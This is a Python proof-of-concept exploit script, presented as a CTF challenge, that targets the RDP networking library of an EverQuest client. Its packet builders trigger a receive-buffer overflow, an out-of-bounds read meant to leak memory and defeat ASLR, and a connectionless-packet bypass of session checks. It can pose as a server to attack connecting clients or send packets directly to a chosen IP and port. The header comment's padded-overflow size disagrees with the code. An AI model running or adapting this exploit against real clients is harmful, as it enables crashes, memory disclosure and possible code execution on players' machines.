#!/usr/bin/env python3
"""
EverQuest RDP Library - Buffer Overflow PoC
CTF Challenge 2026

BUGS TARGETED (from KNOWN_BUGS.md / PROTOCOL.md):

  1. RECEIVE WORKSPACE OVERFLOW
     The RDP library uses a 536-byte workspace for incoming UDP datagrams.
     A non-final fragment packet with ALL optional header fields maximally
     populated PLUS a CRC trailer legitimately exceeds 536 bytes:

       4  bytes  base header  (flags u16 + packet_seq u16)
      17  bytes  ACK section  (ack_base u16 + ack_mask[15])
       2  bytes  MSGID        (u16)
       6  bytes  FRAGMENT     (frag_id u16 + frag_index u16 + frag_count u16)
       2  bytes  SEQUENCED    (stream_id u8 + stream_seq u8)
     512  bytes  payload      (non-final fragment: exactly 512 bytes)
       4  bytes  CRC-32
     ---
     547  bytes  TOTAL  →  overflows 536-byte buffer by 11 bytes

     With encryption padding (min 8 bytes): up to 555 bytes → 19-byte overflow.

  2. SHORT DATAGRAM OOB READ (INFO LEAK)
     The connected parser reads flag-selected optional fields BEFORE validating
     the datagram's physical length. Sending a 4-byte packet with flags claiming
     a full 31-byte header causes the parser to read ~27 bytes past the buffer.
     Use this to leak adjacent stack/heap content and defeat ASLR.

  3. CONNECTIONLESS 0xFFFF BYPASS
     Packets starting with 0xFFFF skip connection lookup, sequence validation,
     and CRC processing entirely. Useful for blind probing without session state.

ATTACK SCENARIO (CTF):
  - You control the server; the EQ client connects to you.
  - Mode A (--server): Listen, capture client SYN, reply with overflow packets.
  - Mode B (--send):   Send directly to a known client IP:port.

Usage:
  python3 rdp_overflow_poc.py --server 0.0.0.0 9000
  python3 rdp_overflow_poc.py --send 192.168.1.50 7000
"""

import argparse
import socket
import struct
import zlib
import sys
import time


# ---------------------------------------------------------------------------
# Protocol constants
# ---------------------------------------------------------------------------

# Connected packet flags (16-bit)
FLAG_SYSTEM     = 0x0001   # Transport keepalive; not delivered to app
FLAG_ACKTHRU    = 0x0004   # Cumulative ACK form (ack_base only)
FLAG_MASKOFFSET = 0x0008   # Selective ACK form  (ack_base + mask[N])
# bits 4-7: ACK mask byte count encoded as (flags & 0x00F0) >> 4
FLAG_MSGID      = 0x0200   # uint16 message_id follows
FLAG_STOP       = 0x0400   # Receiver should stop transmitting
FLAG_FRAGMENT   = 0x0800   # Fragment tuple follows message_id
FLAG_SEQUENCED  = 0x1000   # Stream ordering (stream_id + stream_seq)
FLAG_SYN        = 0x2000   # First reliable ID; creates connection state
FLAG_FIN        = 0x4000   # Ordered end-of-input
FLAG_RESET      = 0x8000   # Abort connection immediately

CONNECTIONLESS_MARKER = 0xFFFF   # Connectionless form: bypasses all state


# ---------------------------------------------------------------------------
# CRC helper
# ---------------------------------------------------------------------------

def rdp_crc32(data: bytes) -> bytes:
    """
    CRC-32 per PROTOCOL.md: poly 0xEDB88320, reflected, seed 0,
    initial and final complement — this is exactly zlib.crc32().
    Returned as 4 bytes little-endian (standard network CRC packing).
    """
    value = zlib.crc32(data) & 0xFFFFFFFF
    return struct.pack("<I", value)


# ---------------------------------------------------------------------------
# Packet builders
# ---------------------------------------------------------------------------

def build_overflow_packet(pkt_seq: int = 1) -> bytes:
    """
    Bug #1: craft a connected fragment packet that overflows the 536-byte
    receive workspace by 11 bytes.

    Header layout (31 bytes, the documented maximum):
      [0:2]  flags      = MASKOFFSET | MSGID | FRAGMENT | SEQUENCED | SYN
                          | (15 << 4)   ← ACK mask length = 15 bytes
      [2:4]  pkt_seq    = 1
      [4:6]  ack_base   = 0
      [6:21] ack_mask   = 0xFF * 15   (15 bytes; final byte must have ≥1 bit set)
      [21:23] msg_id    = 1
      [23:25] frag_id   = 1
      [25:27] frag_idx  = 0           (first fragment, 0-based)
      [27:29] frag_cnt  = 2           (minimum 2 per spec)
      [29]   stream_id  = 0
      [30]   stream_seq = 0

    Payload: 512 × 0x41 ('A')  ← non-final fragment: EXACTLY 512 bytes
    CRC:     4 bytes
    Total:   547 bytes  →  overflows 536 by 11 bytes
    """
    ACK_MASK_LEN = 15

    flags = (
        FLAG_MASKOFFSET
        | FLAG_MSGID
        | FLAG_FRAGMENT
        | FLAG_SEQUENCED
        | FLAG_SYN
        | (ACK_MASK_LEN << 4)        # encode mask byte count in bits 4-7
    )

    header  = struct.pack(">HH", flags, pkt_seq)    # flags, pkt_seq
    header += struct.pack(">H",  0)                 # ack_base
    header += b"\xff" * ACK_MASK_LEN               # ack_mask[15]
    header += struct.pack(">H",  1)                 # msg_id
    header += struct.pack(">HHH", 1, 0, 2)         # frag_id, frag_idx, frag_cnt
    header += struct.pack("BB",  0, 0)              # stream_id, stream_seq

    assert len(header) == 31, f"header bug: {len(header)} bytes"

    # Non-final fragment payload: exactly 512 bytes
    # Pattern: 0x41..0x50 cycling — easy to spot in a crash dump
    payload = bytes([0x41 + (i % 16) for i in range(512)])

    pre_crc = header + payload                      # 543 bytes
    packet  = pre_crc + rdp_crc32(pre_crc)         # 547 bytes

    return packet


def build_overflow_with_cipher_padding(pkt_seq: int = 1) -> bytes:
    """
    Bug #1 variant: add encryption padding for a larger overflow (up to 19 bytes).
    PROTOCOL.md: encrypted mode appends CRC then pads to 8-byte boundary;
    when already aligned, adds a minimum of 8 extra bytes.

    31 (header) + 512 (payload) + 4 (CRC) = 547; 547 % 8 = 3 → 5 bytes padding
    Total: 552 bytes → 16-byte overflow.

    The low nibble of the final padding byte encodes the pad count (1-8).
    NOTE: real encrypted mode also applies a Feistel cipher; the padding
    structure alone is enough to trigger the size issue.
    """
    base = build_overflow_packet(pkt_seq)           # 547 bytes (already has CRC)
    remainder = len(base) % 8
    pad_count = (8 - remainder) if remainder else 8
    # Pad bytes: zeros followed by a byte whose low nibble = count
    padding = b"\x00" * (pad_count - 1) + bytes([pad_count & 0x0F])
    return base + padding                           # 547+5 = 552 bytes


def build_oob_read_packet(pkt_seq: int = 2) -> bytes:
    """
    Bug #2: short datagram OOB read (info leak).

    We send only the 4-byte base header (flags + seq) but set flags claiming
    all optional fields are present.  The parser reads field-by-field before
    checking physical length, so it reads ~27 bytes past our 4-byte buffer:

      ack_base   2 bytes
      ack_mask  15 bytes   (mask length = 15 in flags)
      msg_id     2 bytes
      frag tuple 6 bytes
      stream_id  1 byte
      stream_seq 1 byte
      ----------
      27 bytes read from beyond our packet → OOB read

    Any response or crash log will contain adjacent memory contents — useful
    for leaking the RDP library's load address to defeat ASLR before the
    write-overflow stage.
    """
    ACK_MASK_LEN = 15

    flags = (
        FLAG_MASKOFFSET
        | FLAG_MSGID
        | FLAG_FRAGMENT
        | FLAG_SEQUENCED
        | (ACK_MASK_LEN << 4)
    )
    # Only send the 4-byte base — NO optional field bytes at all
    return struct.pack(">HH", flags, pkt_seq)


def build_connectionless_probe(payload: bytes = b"\x41" * 32) -> bytes:
    """
    Bug #3: connectionless form — 0xFFFF marker bypasses connection lookup,
    sequence validation, and CRC.  Use for blind probing or fuzzing without
    needing established session state.
    """
    return struct.pack(">H", CONNECTIONLESS_MARKER) + payload


def build_syn_reply(client_pkt_seq: int, server_seq: int = 1) -> bytes:
    """
    Minimal SYN-ACK: acknowledge the client's SYN so the client advances
    to the established state, then we can deliver the overflow in context.

    We ACK the client's packet sequence (cumulative ACKTHRU) and include
    our own SYN flag so the client considers the connection established.
    """
    flags = FLAG_ACKTHRU | FLAG_MSGID | FLAG_SYN
    header  = struct.pack(">HH", flags, server_seq)
    header += struct.pack(">H", client_pkt_seq)     # ack_base (cumulative)
    header += struct.pack(">H", 1)                  # msg_id = 1 (our first)
    payload = b""
    pre_crc = header + payload
    return pre_crc + rdp_crc32(pre_crc)


# ---------------------------------------------------------------------------
# Helper: parse the flags word out of a received packet
# ---------------------------------------------------------------------------

def peek_flags(data: bytes) -> int | None:
    if len(data) < 2:
        return None
    return struct.unpack(">H", data[:2])[0]


def is_connectionless(data: bytes) -> bool:
    return len(data) >= 2 and struct.unpack(">H", data[:2])[0] == CONNECTIONLESS_MARKER


def peek_seq(data: bytes) -> int | None:
    if len(data) < 4:
        return None
    return struct.unpack(">H", data[2:4])[0]


# ---------------------------------------------------------------------------
# Server mode: wait for EQ client to connect, then attack
# ---------------------------------------------------------------------------

def server_mode(bind_host: str, bind_port: int):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((bind_host, bind_port))
    sock.settimeout(60.0)

    print(f"[*] Listening on {bind_host}:{bind_port} — waiting for EQ client SYN...")

    try:
        raw, client_addr = sock.recvfrom(4096)
    except socket.timeout:
        print("[!] Timeout — no client connected.")
        sock.close()
        return

    print(f"[<] {len(raw)}-byte packet from {client_addr[0]}:{client_addr[1]}")

    flags = peek_flags(raw)
    seq   = peek_seq(raw)

    if flags is None:
        print("[!] Packet too short to parse.")
        sock.close()
        return

    if is_connectionless(raw):
        print("[i] Connectionless probe received (0xFFFF).")
    elif flags & FLAG_SYN:
        print(f"[i] SYN received (flags=0x{flags:04x}, seq={seq})")
    else:
        print(f"[i] Non-SYN packet (flags=0x{flags:04x}, seq={seq})")

    # --- Stage 1: Connectionless probe (no state needed, delivered immediately)
    print("\n[*] Stage 1: connectionless probe (0xFFFF bypass)")
    cl_probe = build_connectionless_probe()
    sock.sendto(cl_probe, client_addr)
    print(f"[>] {len(cl_probe)} bytes sent")
    time.sleep(0.05)

    # --- Stage 2: SYN-ACK (advance client to established state)
    if seq is not None and (flags & FLAG_SYN):
        print("\n[*] Stage 2: SYN-ACK to establish session")
        syn_ack = build_syn_reply(client_pkt_seq=seq, server_seq=1)
        sock.sendto(syn_ack, client_addr)
        print(f"[>] {len(syn_ack)} bytes sent")
        time.sleep(0.05)

    # --- Stage 3: OOB read (info leak — try to get a response before crashing)
    print("\n[*] Stage 3: short packet OOB read (info leak attempt)")
    oob = build_oob_read_packet(pkt_seq=2)
    sock.sendto(oob, client_addr)
    print(f"[>] {len(oob)}-byte packet sent (claims 31-byte header → ~27-byte OOB read)")
    sock.settimeout(1.0)
    try:
        resp, _ = sock.recvfrom(4096)
        print(f"[<] Response: {resp.hex()}")
    except socket.timeout:
        print("[i] No response to OOB packet")
    time.sleep(0.05)

    # --- Stage 4: buffer overflow (crash / controlled overwrite)
    print("\n[*] Stage 4: receive workspace buffer overflow")
    overflow = build_overflow_packet(pkt_seq=3)
    print(f"    Header:  31 bytes  (all optional fields + 15-byte ACK mask)")
    print(f"    Payload: 512 bytes (0x41-0x50 cycling pattern)")
    print(f"    CRC:     4 bytes")
    print(f"    Total:   {len(overflow)} bytes  (overflows 536-byte workspace by "
          f"{len(overflow) - 536} bytes)")
    sock.sendto(overflow, client_addr)
    print(f"[>] {len(overflow)} bytes sent — watch for client crash")
    time.sleep(0.1)

    # Optional: padded variant for a larger overflow
    print("\n[*] Stage 4b: padded variant (larger overflow)")
    overflow_padded = build_overflow_with_cipher_padding(pkt_seq=4)
    print(f"    Total: {len(overflow_padded)} bytes  "
          f"(overflows by {len(overflow_padded) - 536} bytes)")
    sock.sendto(overflow_padded, client_addr)
    print(f"[>] {len(overflow_padded)} bytes sent")

    sock.close()
    print("\n[*] Done. Check client process for crash / flag.")


# ---------------------------------------------------------------------------
# Send mode: target a known client endpoint
# ---------------------------------------------------------------------------

def send_mode(target_host: str, target_port: int):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(1.0)
    target = (target_host, target_port)

    print(f"[*] Target: {target_host}:{target_port}")

    packets = [
        ("connectionless probe",        build_connectionless_probe(),          1),
        ("OOB read (info leak)",         build_oob_read_packet(pkt_seq=1),     2),
        ("overflow packet (547 bytes)",  build_overflow_packet(pkt_seq=2),     3),
        ("overflow+padding (552 bytes)", build_overflow_with_cipher_padding(3), 4),
    ]

    for name, pkt, seq in packets:
        print(f"\n[*] Sending: {name}")
        print(f"    Size: {len(pkt)} bytes  |  hex[0:16]: {pkt[:16].hex()}")
        sock.sendto(pkt, target)
        print(f"[>] Sent")
        try:
            resp, addr = sock.recvfrom(4096)
            print(f"[<] Response from {addr}: {resp.hex()}")
        except socket.timeout:
            print("[i] No response (expected for crash or ignored packet)")
        time.sleep(0.1)

    sock.close()
    print("\n[*] Done.")


# ---------------------------------------------------------------------------
# Standalone packet dump (for piping to netcat, wireshark, etc.)
# ---------------------------------------------------------------------------

def dump_mode():
    """
    Print raw packet bytes to stdout for use with:
      python3 rdp_overflow_poc.py --dump | nc -u <target> <port>
    or import with scapy/wireshark.
    """
    pkt = build_overflow_packet()
    sys.stdout.buffer.write(pkt)


# ---------------------------------------------------------------------------
# Packet anatomy printer
# ---------------------------------------------------------------------------

def print_anatomy():
    pkt = build_overflow_packet()
    flags = struct.unpack(">H", pkt[0:2])[0]
    seq   = struct.unpack(">H", pkt[2:4])[0]
    ack_b = struct.unpack(">H", pkt[4:6])[0]
    mask  = pkt[6:21]
    mid   = struct.unpack(">H", pkt[21:23])[0]
    fid   = struct.unpack(">H", pkt[23:25])[0]
    fidx  = struct.unpack(">H", pkt[25:27])[0]
    fcnt  = struct.unpack(">H", pkt[27:29])[0]
    sid   = pkt[29]
    sseq  = pkt[30]

    print("=" * 60)
    print("OVERFLOW PACKET ANATOMY (547 bytes, overflows by 11)")
    print("=" * 60)
    print(f"  [0:2]   flags      = 0x{flags:04x}")
    print(f"            MASKOFFSET  bit set: {bool(flags & FLAG_MASKOFFSET)}")
    print(f"            MSGID       bit set: {bool(flags & FLAG_MSGID)}")
    print(f"            FRAGMENT    bit set: {bool(flags & FLAG_FRAGMENT)}")
    print(f"            SEQUENCED   bit set: {bool(flags & FLAG_SEQUENCED)}")
    print(f"            SYN         bit set: {bool(flags & FLAG_SYN)}")
    print(f"            ACK mask len: {(flags & 0x00F0) >> 4} bytes")
    print(f"  [2:4]   pkt_seq    = {seq}")
    print(f"  [4:6]   ack_base   = {ack_b}")
    print(f"  [6:21]  ack_mask   = {mask.hex()}")
    print(f"  [21:23] msg_id     = {mid}")
    print(f"  [23:25] frag_id    = {fid}")
    print(f"  [25:27] frag_idx   = {fidx}")
    print(f"  [27:29] frag_cnt   = {fcnt}")
    print(f"  [29]    stream_id  = {sid}")
    print(f"  [30]    stream_seq = {sseq}")
    print(f"  [31:543] payload   = 512 bytes (0x41-0x50 pattern)")
    print(f"  [543:547] CRC-32   = {pkt[543:547].hex()}")
    print(f"  Total: {len(pkt)} bytes  →  workspace overflow by {len(pkt)-536} bytes")
    print()

    oob = build_oob_read_packet()
    print("OOB READ PACKET ANATOMY (4 bytes, triggers ~27-byte OOB read)")
    print("-" * 60)
    oflags = struct.unpack(">H", oob[0:2])[0]
    print(f"  [0:2]  flags = 0x{oflags:04x}  (claims full 31-byte header)")
    print(f"  [2:4]  seq   = {struct.unpack('>H', oob[2:4])[0]}")
    print(f"  Packet stops here — parser reads 27 bytes past end of buffer")


# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------

def main():
    parser = argparse.ArgumentParser(
        description="EverQuest RDP library buffer overflow PoC (CTF 2026)"
    )
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument(
        "--server", nargs=2, metavar=("HOST", "PORT"),
        help="Listen for EQ client connection then attack (e.g. --server 0.0.0.0 9000)"
    )
    group.add_argument(
        "--send", nargs=2, metavar=("HOST", "PORT"),
        help="Send packets directly to known client endpoint"
    )
    group.add_argument(
        "--dump", action="store_true",
        help="Write raw overflow packet bytes to stdout"
    )
    group.add_argument(
        "--anatomy", action="store_true",
        help="Print packet field-by-field breakdown and exit"
    )
    args = parser.parse_args()

    if args.anatomy:
        print_anatomy()
    elif args.dump:
        dump_mode()
    elif args.server:
        host, port = args.server[0], int(args.server[1])
        server_mode(host, port)
    elif args.send:
        host, port = args.send[0], int(args.send[1])
        send_mode(host, port)


if __name__ == "__main__":
    main()
